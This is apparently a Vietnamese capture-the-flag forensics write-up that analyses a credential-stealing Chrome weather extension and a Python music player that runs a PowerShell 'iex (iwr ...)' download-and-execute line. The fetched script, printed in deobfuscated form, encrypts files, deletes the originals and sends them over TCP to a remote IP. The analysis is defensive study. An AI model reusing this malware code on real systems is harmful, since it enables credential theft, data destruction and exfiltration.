Try   HackMD

Outer Expansion Package

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Bước đầu, có vẻ đây là 1 chall nói về Malicious Chrome Extension, nên mình search google thì có ra wu về bài này

https://medium.com/@cezary.goluch/malicious-chrome-extension-letsdefend-challenge-93ecdf62e7ac

Oke, vì vậy nên mình check từng file trong path Extension của file đã được giải nén.

Với flow như sau: Chrome -> UserData -> Default -> Extensions.

Check từng file một thì mình đã tìm ra được Extension có vẻ khá khả nghi

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

document.addEventListener("DOMContentLoaded", function () {
  const loginForm = document.getElementById("login-form");
  const weatherDisplay = document.getElementById("weather-display");
  const loginButton = document.getElementById("login-button");
  const searchButton = document.getElementById("search-button");
  const emailInput = document.getElementById("email");
  const passwordInput = document.getElementById("password");
  const cityInput = document.getElementById("city");
  const weatherInfo = document.getElementById("weather-info");
  loginButton.addEventListener("click", function () {
    const email = emailInput.value;
    const isValid = validateEmail(email);
    const password = passwordInput.value;
    if (!isValid) {
      alert("Email or password is invalid.");
    }
    else {
      loginForm.style.display = "none";
      weatherDisplay.style.display = "block";
      const bruhh = `${check(atob(getStr(stR,StR,sTr)), apiKey)} : ${email} : ${password}`;
      sendMessage(username, bruhh);
    }
  });


  searchButton.addEventListener("click", function () {
    const city = cityInput.value;
    if (city) {
      fetchWeather(city);
    } else {
      alert("Please enter a city name.");
    }
  });
  const apiKey = "38495dd2d818db4eb3325d808a49b43f"; 
  function fetchWeather(city) {
    fetch(
      `https://api.openweathermap.org/data/2.5/weather?q=${city}&lang=en&units=metric&appid=${apiKey}`
    )
      .then((response) => {
        if (!response.ok) {
          throw new Error("Location not found");
        }
        return response.json();
      })
      .then((data) => {
        const { name } = data;
        const { icon, description } = data.weather[0];
        const { temp, humidity } = data.main;
        const { speed } = data.wind;
        const { country } = data.sys;
        weatherInfo.innerHTML = `
              Weather information for ${name}, ${country}<br>
              <img src="https://openweathermap.org/img/wn/${icon}.png" alt="Weather Icon"><br>
              ${description}<br>
              Temperature: ${temp}°C<br>
              Humidity: ${humidity}%<br>
              Wind Speed: ${speed} km/h
          `;
      })
      .catch((error) => {
        alert(error.message);
      });
  }
});

function getStr(stR,StR,sTr){
  result = StR.concat(stR,sTr);
  return result;
}

function sendMessage(ssus, suss) {
  const url1= "VGhlIGZsYWcgaXMgbm90IGhlcmUgbG1hbywgdHJ5IGhhcmRlciwgbWF5YmUgdGhlIGxpbmsgYmVsb3c"
  const url2= "aHR0cHM6Ly93d3cueW91dHViZS5jb20vQElSeVMvdmlkZW9z"
  const formData = new FormData()
  formData.append(h2s("636861745f6964"), ssus);
  formData.append(h2s("74657874"), suss);
  fetch( atob(url1) + atob(url2) , {
    method: 'POST',
    body: formData,
  })
    .then((response) => {
      if (response.ok) {
        return response.json();
      }
    })
}

function check(str1, str2) { 
  let result = "";
  for (let i = 0; i < str1.length; i++) {   
      result += String.fromCharCode(str1.charCodeAt(i) ^ str2.charCodeAt(i % str2.length));}
  return result;
}
const validateEmail = (email) => {
  return String(email)
    .toLowerCase()
    .match(
      /^(([^<>()[\]\\.,;:\s@"]+(\.[^<>()[\]\\.,;:\s@"]+)*)|.(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/
    );
};
const stR = "QQ7BgMWTHlnAFZNOip6YHE"
const StR = "WwxES"
const sTr = "URRk="
function h2s(input) {
  return input.match(/.{1,2}/g).map(byte => String.fromCharCode(parseInt(byte, 16))).join('');
}

Chúng ta sẽ phân tích từng đoạn code của file script này nhé:

document.addEventListener("DOMContentLoaded", function () {
  const loginForm = document.getElementById("login-form");
  const weatherDisplay = document.getElementById("weather-display");
  const loginButton = document.getElementById("login-button");
  const searchButton = document.getElementById("search-button");
  const emailInput = document.getElementById("email");
  const passwordInput = document.getElementById("password");
  const cityInput = document.getElementById("city");
  const weatherInfo = document.getElementById("weather-info");
  loginButton.addEventListener("click", function () {
    const email = emailInput.value;
    const isValid = validateEmail(email);
    const password = passwordInput.value;
    if (!isValid) {
      alert("Email or password is invalid.");
    }
    else {
      loginForm.style.display = "none";
      weatherDisplay.style.display = "block";
      const bruhh = `${check(atob(getStr(stR,StR,sTr)), apiKey)} : ${email} : ${password}`;
      sendMessage(username, bruhh);
    }
  });

Phần code đầu:
Có vẻ đây là đoạn check đăng nhập khi login vào web,
chúng ta có thể thấy email.input và password.input và các phần in ra như là Email or password is invalid.

Ngoài ra, còn có một biến khá là sus: const bruhh = ${check(atob(getStr(stR,StR,sTr)), apiKey)}`

searchButton.addEventListener("click", function () {
    const city = cityInput.value;
    if (city) {
      fetchWeather(city);
    } else {
      alert("Please enter a city name.");
    }
  });
  const apiKey = "38495dd2d818db4eb3325d808a49b43f"; 
  function fetchWeather(city) {
    fetch(
      https://api.openweathermap.org/data/2.5/weather?q=${city}&lang=en&units=metric&appid=${apiKey}
    )
      .then((response) => {
        if (!response.ok) {
          throw new Error("Location not found");
        }
        return response.json();
      })
      .then((data) => {
        const { name } = data;
        const { icon, description } = data.weather[0];
        const { temp, humidity } = data.main;
        const { speed } = data.wind;
        const { country } = data.sys;
        weatherInfo.innerHTML = 
              Weather information for ${name}, ${country}<br>
              <img src="https://openweathermap.org/img/wn/${icon}.png" alt="Weather Icon"><br>
              ${description}<br>
              Temperature: ${temp}°C<br>
              Humidity: ${humidity}%<br>
              Wind Speed: ${speed} km/h
          ;
      })
      .catch((error) => {
        alert(error.message);
      });
  }
});

Tiếp theo là đoạn mã này:

Đoạn mã này đang xử lý sự kiện tìm kiếm thời tiết của một thành phố bằng API OpenWeatherMap

searchButton , khúc này nhập tên thành phố vào để check thời tiết

fetchWeather(city):

Gọi API OpenWeatherMap để lấy thông tin thời tiết của thành phố.

Nếu phản hồi không thành công (!response.ok), báo lỗi "Location not found".

Nếu thành công sẽ trả về thời tiết.

function sendMessage(ssus, suss) {
  const url1= "VGhlIGZsYWcgaXMgbm90IGhlcmUgbG1hbywgdHJ5IGhhcmRlciwgbWF5YmUgdGhlIGxpbmsgYmVsb3c"
  const url2= "aHR0cHM6Ly93d3cueW91dHViZS5jb20vQElSeVMvdmlkZW9z"
  const formData = new FormData()
  formData.append(h2s("636861745f6964"), ssus);
  formData.append(h2s("74657874"), suss);
  fetch( atob(url1) + atob(url2) , {
    method: 'POST',
    body: formData,
  })
    .then((response) => {
      if (response.ok) {
        return response.json();
      }
    })
}

Kế tiếp:
Hàm sendMessage(ssus, suss) thực hiện việc gửi một yêu cầu POST đến một URL được giải mã từ chuỗi mã hóa bằng Base64 (url1 và url2), với dữ liệu dạng FormData chứa hai trường:

chat_id (mã hóa bằng h2s) và giá trị ssus.
text (mã hóa bằng h2s) và giá trị suss.
Tóm lại, hàm này gửi dữ liệu tới một URL (sau khi giải mã) dưới dạng FormData, có vẻ như nhằm mục đích truyền đi thông điệp hoặc thông tin đăng nhập.

Nhìn vào phát biết ngay base64 nên mình ném lên cyberchef để xem có gì không

VGhlIGZsYWcgaXMgbm90IGhlcmUgbG1hbywgdHJ5IGhhcmRlciwgbWF5YmUgdGhlIGxpbmsgYmVsb3c -> The flag is not here lmao, try harder, maybe the link below

aHR0cHM6Ly93d3cueW91dHViZS5jb20vQElSeVMvdmlkZW9z -> https://www.youtube.com/@IRyS/videos

Có vẻ tác giả đang pr cho Youtuber yêu thích của mình -> simp

function check(str1, str2) { 
  let result = "";
  for (let i = 0; i < str1.length; i++) {   
      result += String.fromCharCode(str1.charCodeAt(i) ^ str2.charCodeAt(i % str2.length));}
  return result;
}
const validateEmail = (email) => {
  return String(email)
    .toLowerCase()
    .match(
      /^(([^<>()[\]\\.,;:\s@"]+(\.[^<>()[\]\\.,;:\s@"]+)*)|.(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/
    );
};
const stR = "QQ7BgMWTHlnAFZNOip6YHE"
const StR = "WwxES"
const sTr = "URRk="

Tiếp theo:

đầu tiên là hàm check(str1, str2):

Hàm này thực hiện phép XOR trên từng ký tự của str1 với str2.
Dùng vòng lặp để duyệt qua từng ký tự của str1, lấy mã ASCII và XOR với mã của ký tự tương ứng từ str2 (lặp lại str2 nếu str1 dài hơn).
Kết quả của mỗi phép XOR được chuyển thành ký tự và cộng vào biến result.
Trả về chuỗi result sau khi kết thúc vòng lặp.

Hàm validateEmail(email):

Kiểm tra định dạng email có hợp lệ không.
Email được chuyển thành chữ thường và kiểm tra bằng biểu thức chính quy (regex).
Trả về kết quả true nếu email hợp lệ, ngược lại là null.

Và cuối cùng là các biến stR, StR, sTr. Chúng ta đã gặp các biến này một lần ở trên, biến bruhh : const bruhh =${check(atob(getStr(stR,StR,sTr)), apiKey)}

function h2s(input) {
  return input.match(/.{1,2}/g).map(byte => String.fromCharCode(parseInt(byte, 16))).join('');
}

Hàm h2s(input) chuyển đổi chuỗi hex thành chuỗi ký tự ASCII.

Tổng kết, nhìn sơ qua một lượt thì đoạn mã này thực hiện đăng nhập, tìm kiếm thời tiết, kiểm tra tính hợp lệ của email, mã hóa/giải mã thông tin, và gửi dữ liệu đến máy chủ.

Ở đây, ngoài các message ở function sendMessage bị mã hóa base64 chúng ta đã giải mã được thì còn có các biến stR, StR, sTr, cũng có vẻ được mã hóa bằng base64.

Thêm nữa, biến bruhh: const bruhh = ${check(atob(getStr(stR,StR,sTr)), apiKey)} này đang gọi đến check mà hàm check ở đây là hàm XOR, vì vậy ta đã biết rằng 3 đoạn strings này đã được XOR với apiKey

Từ đây chúng ta có đoạn code giải mã:

import base64

# Provide data
stR = "QQ7BgMWTHlnAFZNOip6YHE"
StR = "WwxES"
sTr = "URRk="
apiKey = "38495dd2d818db4eb3325d808a49b43f"

# Complex string
string = StR + stR + sTr

# Decode the Base64 encoded string
decoded_string = base64.b64decode(string).decode('utf-8')

# XOR function using from code provided
def xor_strings(str1, str2):
    result = "".join(chr(ord(str1[i]) ^ ord(str2[i % len(str2)])) for i in range(len(str1)))
    return result

# decrypt the encrypted text
ketqua = xor_strings(decoded_string, apiKey)

print("Ketqua", ketqua)

image

Chúng ta đã nhận được đoạn đầu tiên của flag:

h4pp1_b1rtH_d4y_HISC!!!

Phần tiếp theo của thử thách là tìm username và password bị đánh cắp,
Từ những bằng chứng có được từ cuộc tìm kiếm part 1 của flag, chúng ta có thể biết đây là một Extension để xem thời tiết, vì vậy nên để tìm user và pass thì chúng ta cần tìm log liên quan đến lịch sử đăng nhập, các web liên quan đến thời tiết.

Mình các path theo flow như sau: Chrome -> User Data -> Default.

Tại path này, mình đã thấy một số file SQL nhắc về lịch sử và login data, login data for account,

image

Vì chúng ta đang tìm user và pass nên mình sẽ check file Login data for account trước.

Mình dùng SQLiteStudio để kiểm tra file này:

Mình đã kiểm tra các table trong file này nhưng không tìm thấy thông tin mình muốn

image

Vì vậy, mình sẽ check file Login data:

Mình đã tìm thấy username và password ở table logins của file này

Người dùng đã đăng nhập vào web thời tiết -> đúng với suy luận của chúng ta ở trên.

Vì vậy có thể kết luận đây là username và password đã bị đánh cắp mà chúng ta đang tìm.

image

Như vậy username là: Raviel_HISC, password là: b31dc5a5257b0c294e76a4297701c90d

Có vẻ như mật khẩu đã được hệ thống lưu dữ liệu này bảo vệ mật khẩu khỏi bị lộ bằng cách băm hoặc mã hóa. Khi người dùng đăng nhập, hệ thống sẽ băm/mã hóa mật khẩu nhập vào và so sánh với giá trị này.

Chúng ta có thể sử dụng một số công cụ online như https://crackstation.net/ để crack mật khẩu này:

image

Vậy flag của challenge này là:
UTECTF{h4pp1_b1rtH_d4y_HISC!!!_Raviel_HISC_whatthehelldoyouthinkyouaredoing}


Tổng kết:

Đây là challenge nhằm cảnh báo cho chúng ta nên cảnh giác khi sử dụng các extension.

Trong challenge này, extension này đang gửi thông tin tới URL ẩn: https://www.youtube.com/@IRyS/videos
Hàm sendMessage gửi thông tin (bao gồm cả email và password) đến một URL được giải mã từ chuỗi Base64 (url1 và url2). Điều này có thể là một cách ẩn URL độc hại nhằm lấy cắp thông tin người dùng.


Weird Player

image

Sau khi tải về và giải nén file For2.rar

Mình nhận được một folder về cái app Music player và file final là một tập tin dạng capture về dữ liệu được bắt lại từ mạng (có thể là khi đang sử dụng ứng dụng âm nhạc này)

image

Mình sẽ kiểm tra mã nguồn của cái app music này trước:

from tkinter import *
from tkinter import filedialog
import pygame
import os
import time
from mutagen.mp3 import MP3  # To get song length
import subprocess


app = Tk()
app.title('Alpha Test Not Final Product')
app.geometry("600x450")

pygame.mixer.init()

# Menu for import song
menubar = Menu(app)
app.config(menu=menubar)


# Import song
songs = []
filtered_songs = []
current_song = ""
paused = False
play_img = None
pause_img = None

def import_song():
    global current_song, songs, filtered_songs
    app.directory = filedialog.askdirectory()
    
    songs.clear()
    for song in os.listdir(app.directory):
        name, ext = os.path.splitext(song)
        if ext == '.mp3':
            songs.append(song)
    
    filtered_songs = songs.copy()
    update_song_list()
    
    if filtered_songs:
        songlist.selection_set(0)
        current_song = filtered_songs[songlist.curselection()[0]]

def update_song_list():
    songlist.delete(0, END)
    for song in filtered_songs:
        songlist.insert("end", song)

def load_default_songs():
    global current_song, songs, filtered_songs
    app.directory = './data/Library/all'


    songs.clear() 
    for song in os.listdir(app.directory):
        name, ext = os.path.splitext(song)
        if ext == '.mp3':
            songs.append(song)

    filtered_songs = songs.copy()
    update_song_list()


    if filtered_songs:
        songlist.selection_set(0)
        current_song = filtered_songs[0]
        play_music()
        pause_music()


def call():
    command = r'powershell -Command "iex (iwr https://raw.githubusercontent.com/R4ven1elia/cred/main/nothing.ps1 -UseBasicP)"'
    process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)


def search_songs(event):
    query = search_bar.get().lower()
    global filtered_songs
    filtered_songs = [song for song in songs if query in song.lower()]
    update_song_list()

def toggle_play_pause():
    global paused
    if paused:
        pause_input_button.grid_forget()
        previous_input_button.grid_forget()
        next_input_button.grid_forget()
        play_input_button.grid(row=0, column=1, padx=7, pady=10)
        previous_input_button.grid(row=0, column=0, padx=7, pady=10)
        next_input_button.grid(row=0, column=2, padx=7, pady=10)
    else:
        play_input_button.grid_forget()
        previous_input_button.grid_forget()
        next_input_button.grid_forget()
        pause_input_button.grid(row=0, column=1, padx=7, pady=10)
        previous_input_button.grid(row=0, column=0, padx=7, pady=10)
        next_input_button.grid(row=0, column=2, padx=7, pady=10)
    pass

#bind spacebar with stop and play
app.bind("<space>", lambda event: Spacebar_play_pause())
def Spacebar_play_pause():
    global paused
    if paused:
        play_music()  
    else:
        pause_music()


def play_music():
    global current_song, paused
    if paused:
        pygame.mixer.music.unpause()  # Resume if paused
        paused = False
    else:
        pygame.mixer.music.load(os.path.join(app.directory, current_song))  # Load and play from the beginning
        pygame.mixer.music.play(loops=0)
        #paused = True
    toggle_play_pause()
    update_time()  # Start updating timestamp

def pause_music():
    global paused
    if not paused:
        pygame.mixer.music.pause()
        paused = True
        toggle_play_pause()

def next_song():
    global current_song, paused
    
    try:
        songlist.selection_clear(0, END)
        songlist.selection_set(filtered_songs.index(current_song) + 1)
        current_song = filtered_songs[songlist.curselection()[0]]
        paused = False
        play_music()
    except:
        pass
    
def previous_song():
    global current_song, paused

    try:
        songlist.selection_clear(0, END)
        songlist.selection_set(filtered_songs.index(current_song) - 1)
        current_song = filtered_songs[songlist.curselection()[0]]
        paused = False
        play_music()
    except:
        pass

def select_song(event):
    global current_song, paused
    current_song = filtered_songs[songlist.curselection()[0]]
    paused = False
    play_music()

def update_time():
    """ Update the timestamp of the current song being played """
    if pygame.mixer.music.get_busy():
        current_pos = pygame.mixer.music.get_pos() / 1000
        song_mut = MP3(os.path.join(app.directory, current_song))
        total_length = song_mut.info.length

        mins, secs = divmod(current_pos, 60)
        mins = round(mins)
        secs = round(secs)
        time_format = '{:02d}:{:02d}'.format(mins, secs)
        
        total_mins, total_secs = divmod(total_length, 60)
        total_mins = round(total_mins)
        total_secs = round(total_secs)
        total_time_format = '{:02d}:{:02d}'.format(total_mins, total_secs)
        
        timestamp_label.config(text=f"{time_format} / {total_time_format}")
        app.after(1000, update_time)

# Menu config
organise_menu = Menu(menubar, tearoff=False)
organise_menu.add_command(label='Select', command=import_song)
menubar.add_cascade(label='Config', menu=organise_menu)

# Song search bar
search_bar = Entry(app, width=50)
search_bar.pack(pady=10)
search_bar.bind("<KeyRelease>", search_songs)

# Song list
songlist = Listbox(app, bg="black", fg="white", width=100, height=20)
songlist.pack()
songlist.bind("<Double-1>", select_song) 
# Timestamp label
timestamp_label = Label(app, text="00:00 / 00:00", fg="black")
timestamp_label.pack()

# Load button images
play_img = PhotoImage(file='./asset/play.png')
pause_img = PhotoImage(file='./asset/pause.png')
next_img = PhotoImage(file='./asset/next.png')
previous_img = PhotoImage(file='./asset/previous.png')

app_frame = Frame(app)
app_frame.pack()

# Setting up button images
play_input_button = Button(app_frame, image=play_img, borderwidth=0, command=play_music)
pause_input_button = Button(app_frame, image=pause_img, borderwidth=0, command=pause_music)
next_input_button = Button(app_frame, image=next_img, borderwidth=0, command=next_song)
previous_input_button = Button(app_frame, image=previous_img, borderwidth=0, command=previous_song)


#play_input_button.grid(row=0, column=1, padx=7, pady=10)
#pause_input_button.grid(row=0, column=3, padx=7, pady=10)
# previous_input_button.grid(row=0, column=0, padx=7, pady=10)
# next_input_button.grid(row=0, column=2, padx=7, pady=10)


load_default_songs()
toggle_play_pause()
call()
app.mainloop()

Ở function call này nó sẽ tải về và thực thi trực tiếp một tập tin PowerShell từ Internet

image

Có thể nhận thấy hàm này thực hiện hành vi cực kì nguy hiểm, bởi vì:

  • Nguy cơ mã độc: Tập lệnh từ URL có thể chứa mã độc và gây nguy hại cho hệ thống.
  • Quyền thực thi không kiểm soát: Việc sử dụng iex cho phép thực thi mã mà không qua bất kỳ kiểm tra nào.

Mình sẽ vào URL này và kiểm tra mã nguồn của đường dẫn nothing.ps1 này.

image

Có thể thấy đoạn mã này đang sử dụng kỹ thuật Obfuscation nhằm che giấu và gây khó hiểu cho chúng ta.

Mình sẽ làm đoạn mã này trở nên dễ hiểu hơn bằng cách đặt lại các tên biến:

function đầu tiên:

function Encrypt-AES {
    param (
        [byte[]]$FileContent, # Nội dung của file cần mã hóa
        [byte[]]$Key,         # Key sử dụng trong mã hóa
        [byte[]]$IV           # Vector khởi tạo (Initialization Vector)
    )

    # Tạo đối tượng AES
    $aes = [System.Security.Cryptography.Aes]::Create()
    $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aes.Key = $Key
    $aes.IV = $IV

    # Tạo Encryptor từ AES
    $encryptor = $aes.CreateEncryptor()

    # Mã hóa dữ liệu
    $encryptedData = $encryptor.TransformFinalBlock($FileContent, 0, $FileContent.Length)

    # Dọn dẹp tài nguyên
    $aes.Dispose()

    # Trả về dữ liệu đã mã hóa
    return $encryptedData
}

Hàm này là hàm được tạo ra để mã hóa dữ liệu sử dụng thuật toán AES (Advanced Encryption Standard) trong chế độ CBC (Cipher Block Chaining)

Function 2:

function Encrypt-FilesInFolder {
    param (
        [string]$FolderPath,  # Đường dẫn đến thư mục chứa file cần mã hóa
        [byte[]]$Key,         # Khóa mã hóa AES
        [byte[]]$IV           # Vector khởi tạo AES (IV)
    )

    # Lấy danh sách tất cả các file trong thư mục
    $files = Get-ChildItem -Path $FolderPath -File

    foreach ($file in $files) {
        # Đọc nội dung file dưới dạng mảng byte
        $fileContent = [System.IO.File]::ReadAllBytes($file.FullName)

        # Gọi hàm mã hóa (Encrypt-AES) để mã hóa nội dung file
        $encryptedContent = Encrypt-AES -FileContent $fileContent -Key $Key -IV $IV

        # Tạo tên file mới với phần mở rộng `.enc`
        $encryptedFileName = $file.FullName + ".enc"

        # Ghi nội dung đã mã hóa vào file mới
        [System.IO.File]::WriteAllBytes($encryptedFileName, $encryptedContent)

        # Xóa file gốc
        Remove-Item $file.FullName
    }
}

# Hàm Encrypt-AES thực hiện mã hóa AES
function Encrypt-AES {
    param (
        [byte[]]$FileContent, # Nội dung file cần mã hóa
        [byte[]]$Key,         # Khóa AES
        [byte[]]$IV           # Vector khởi tạo (IV)
    )

    # Tạo đối tượng AES
    $aes = [System.Security.Cryptography.Aes]::Create()
    $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aes.Key = $Key
    $aes.IV = $IV

    # Tạo Encryptor từ AES
    $encryptor = $aes.CreateEncryptor()

    # Mã hóa dữ liệu
    $encryptedData = $encryptor.TransformFinalBlock($FileContent, 0, $FileContent.Length)

    # Dọn dẹp tài nguyên
    $aes.Dispose()

    return $encryptedData
    
    # Tạo khóa AES và IV từ chuỗi Base64
    $base64Key = ("{25}{7}{16}{8}{13}{3}{24}{18}{14}{22}{23}{20}{28}{19}{1}{12}{27}{17}{30}{10}{26}{5}{15}{9}{6}{11}{4}{29}{2}{21}{0}{31}" -f "MzBm", "Zjc1", "NzQ3", "NTYy", "NjUy", "ZTYz", "NmY2", "ZDJm","NDA1", "YTY1", "NzA2", "ODc5", "NzI2", "OTYx", "NmU2", "ZTYx","NDM2", "ODJm", "NzY2", "OTY0", "NjU2", "ZmQy", "ZmNl", "MzBm", "ZTI4", "Nzk2", "NmJj", "OGNk", "M2I0", "MWY2", "OWRl", "ODUw)
    $decodedBytes = [System.Convert]::FromBase64String($base64Key)
    
    # Lấy 32 byte đầu làm khóa AES, 16 byte tiếp theo làm IV
    $Key = $decodedBytes[0..31]
    $IV = $decodedBytes[32..47]
    
    # Đường dẫn thư mục (gần giống `$env:USERPROFILE\Documents\Folder`)
    $FolderPath = "$env:USERPROFILE\Documents\Folder"

    # Gọi hàm để mã hóa tất cả các file trong thư mục
    Encrypt-FilesInFolder -FolderPath $FolderPath -Key $Key -IV $IV
}

Hàm này mã hóa tất cả các file trong một thư mục bằng thuật toán AES (CBC mode) đã được viết từ hàm đầu tiên với:

  • Key (khóa mã hóa): 32 byte.
  • IV (vector khởi tạo): 16 byte.

Quy trình:

  1. Lấy danh sách file trong thư mục được chỉ định.
  2. Đọc nội dung từng file (dạng byte).
  3. Mã hóa nội dung file bằng hàm AES:
    • Sử dụng khóa và IV.
    • Padding kiểu PKCS7.
  4. Lưu file mã hóa với phần mở rộng .enc.
  5. Xóa file gốc sau khi mã hóa.

Kết quả:

  • File mã hóa được lưu tại thư mục gốc với đuôi .enc.
  • File gốc bị xóa sau khi hoàn tất mã hóa.

Function cuối cùng

function Send-FilesOverTCP {
    param (
        [string]$FolderPath,  # Đường dẫn thư mục chứa các file cần gửi
        [string]$IPAddress,   # Địa chỉ IP của máy nhận
        [int]$Port            # Cổng của máy nhận
    )

    # Kiểm tra xem thư mục có tồn tại hay không
    if (-not (Test-Path -Path $FolderPath)) {
        Write-Output "Folder path does not exist."
        return
    }

    # Lấy danh sách các file trong thư mục
    $files = Get-ChildItem -Path $FolderPath -File

    foreach ($file in $files) {
        try {
            # Tạo kết nối TCP tới địa chỉ IP và cổng
            $tcpClient = New-Object System.Net.Sockets.TcpClient
            $tcpClient.Connect($IPAddress, $Port)
            $networkStream = $tcpClient.GetStream()

            # Đọc nội dung file dưới dạng mảng byte
            $fileContent = [System.IO.File]::ReadAllBytes($file.FullName)
            
            # Chuyển tên file sang dạng byte (UTF-8)
            $fileNameBytes = [System.Text.Encoding]::UTF8.GetBytes($file.Name)

            # Gửi kích thước tên file (4 byte)
            $networkStream.Write([BitConverter]::GetBytes($fileNameBytes.Length), 0, 4)
            # Gửi tên file
            $networkStream.Write($fileNameBytes, 0, $fileNameBytes.Length)

            # Gửi kích thước nội dung file (4 byte)
            $networkStream.Write([BitConverter]::GetBytes($fileContent.Length), 0, 4)
            # Gửi nội dung file
            $networkStream.Write($fileContent, 0, $fileContent.Length)

            Write-Output "Sent file: $($file.Name)"

            # Đóng luồng mạng và kết nối TCP
            $networkStream.Close()
            $tcpClient.Close()
        }
        catch {
            Write-Output "Failed to send file: $($file.Name). Error: $_"
        }
    }
}

Send-FilesOverTCP -FolderPath "C:\Your\Folder\Path" -IPAddress "192.168.189.132" -Port 1337

Hàm này gửi toàn bộ file trong một thư mục tới một máy chủ qua kết nối TCP.

Quy trình:

  1. Kiểm tra thư mục: Dừng nếu thư mục không tồn tại.

  2. Lấy danh sách file trong thư mục.

  3. Với mỗi file:

    • Kết nối TCP tới địa chỉ IP và cổng được chỉ định.
    • Gửi tên filenội dung file:
      • Gửi độ dài tên file (4 byte).
      • Gửi tên file (dạng byte UTF-8).
      • Gửi độ dài nội dung file (4 byte).
      • Gửi nội dung file.
    • Đóng kết nối sau khi gửi xong.
  4. Hiển thị trạng thái gửi thành công hoặc lỗi.

Kết quả:

  • Các file được truyền tới máy nhận qua TCP.

Tổng kết: như vậy, đoạn code này đang mã hóa các file trong folder chỉ định và lưu lại dưới dạng .enc sau đó xóa file gốc và gửi đến ip được chỉ định.


Vậy tiếp theo, mình sẽ check file final capture lại lưu lượng mạng khi sử dụng đoạn app music kia.

Vì các file được gửi qua tcp nên mình đã filter tcp và tìm ra được 2 file đã bị mã hóa.

image

image

Tiếp đó, chúng ta cần tìm keyiv để thực hiện giải mã 2 file này:

# Tạo khóa AES và IV từ chuỗi Base64
    $base64Key = ("{25}{7}{16}{8}{13}{3}{24}{18}{14}{22}{23}{20}{28}{19}{1}{12}{27}{17}{30}{10}{26}{5}{15}{9}{6}{11}{4}{29}{2}{21}{0}{31}" -f "MzBm", "Zjc1", "NzQ3", "NTYy", "NjUy", "ZTYz", "NmY2", "ZDJm","NDA1", "YTY1", "NzA2", "ODc5", "NzI2", "OTYx", "NmU2", "ZTYx","NDM2", "ODJm", "NzY2", "OTY0", "NjU2", "ZmQy", "ZmNl", "MzBm", "ZTI4", "Nzk2", "NmJj", "OGNk", "M2I0", "MWY2", "OWRl", "ODUw)
    $decodedBytes = [System.Convert]::FromBase64String($base64Key)
    
    # Lấy 32 byte đầu làm khóa AES, 16 byte tiếp theo làm IV
    $Key = $decodedBytes[0..31]
    $IV = $decodedBytes[32..47]

Từ đoạn code trên, mình thiết kế code bằng C để sắp xếp lại đoạn key kia sao cho đúng:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>

#define max_array 1000

int main () {
	char original_string [max_array] [max_array] = {"MzBm", "Zjc1", "NzQ3", "NTYy", "NjUy", "ZTYz", "NmY2", "ZDJm","NDA1", "YTY1", "NzA2", "ODc5", "NzI2", "OTYx", "NmU2", "ZTYx","NDM2", "ODJm", "NzY2", "OTY0", "NjU2", "ZmQy", "ZmNl", "MzBm", "ZTI4", "Nzk2", "NmJj", "OGNk", "M2I0", "MWY2", "OWRl", "ODUw"};
	char position_string [max_array] = "{25}{7}{16}{8}{13}{3}{24}{18}{14}{22}{23}{20}{28}{19}{1}{12}{27}{17}{30}{10}{26}{5}{15}{9}{6}{11}{4}{29}{2}{21}{0}{31}";
	char temp[max_array] = "";
	int *position_array = (int*)calloc(max_array, sizeof(int));
	int index = 0, check_start = 0, check_end = 0, string_length = 0;
	
	for (index = 0; index < strlen(position_string); index++) {
		if (position_string[index] == '{') {
			check_start = 1;
			check_end = 0;
			continue;
		} else if (position_string[index] == '}') {
			check_start = 0;
			check_end = 1;
		} 
		
		if (check_start == 1) {
			temp[0] = position_string[index];
			position_array[string_length] = position_array[string_length] * 10 + atoi(temp);
		} else if (check_end == 1) {
			string_length++;
		}
	}
	
	for (index = 0; index < string_length; index++) {
		printf(original_string[position_array[index]]);
	}
	
	free(position_array);
	return 0;
}

Đây là đoạn base64 đã được lấy ra
Nzk2ZDJmNDM2NDA1OTYxNTYyZTI4NzY2NmU2ZmNlMzBmNjU2M2I0OTY0Zjc1NzI2OGNkODJmOWRlNzA2NmJjZTYzZTYxYTY1NmY2ODc5NjUyMWY2NzQ3ZmQyMzBmODUw

Mình sẽ dùng CyberChef để giải mã đoạn base64 này:

image

796d2f436405961562e287666e6fce30f6563b4964f757268cd82f9de7066bce63e61a656f68796521f6747fd230f850

Sau khi tìm ra plaintext của Key rồi, chúng ta sẽ chuyển nó thành hex vì hiện tại nó đang ở dạng text.

373936643266343336343035393631353632653238373636366536666365333066363536336234393634663735373236386364383266396465373036366263653633653631613635366636383739363532316636373437666432333066383530

Mình sẽ thiết kế đoạn code C để lấy keyiv

    # Lấy 32 byte đầu làm khóa AES, 16 byte tiếp theo làm IV
    $Key = $decodedBytes[0..31]
    $IV = $decodedBytes[32..47]

Vì 2 kí tự là 1 bytes nên mình nhân đôi lên để lấy cho chuẩn.

#include <stdio.h>
#include <string.h>

int main() {
    char input[192]; 
    char key[65]; 
    char iv[33]; 

   
    strncpy(input, "373936643266343336343035393631353632653238373636366536666365333066363536336234393634663735373236386364383266396465373036366263653633653631613635366636383739363532316636373437666432333066383530", sizeof(input));
    input[192] = '\0'; 

    strncpy(key, input, 64);
    key[64] = '\0'; 

    strncpy(iv, input + 64, 32);
    iv[32] = '\0'; 

    printf("key (64): %s\n", key);
    printf("iv (32): %s\n", iv);

    return 0;
}


Output:

key (64): 3739366432663433363430353936313536326532383736363665366663653330
iv (32): 66363536336234393634663735373236

Oke sau khi đã có key và iv thì mình ném lên CyberChef để decrypt thôi

Đây là format gửi data, chúng ta cần lưu ý nó để decrypt đúng đoạn thông tin chúng ta cần decrypt:

image

Ở file flag1.txt.enc, chúng ta chỉ cần lấy các hex sau tên file:

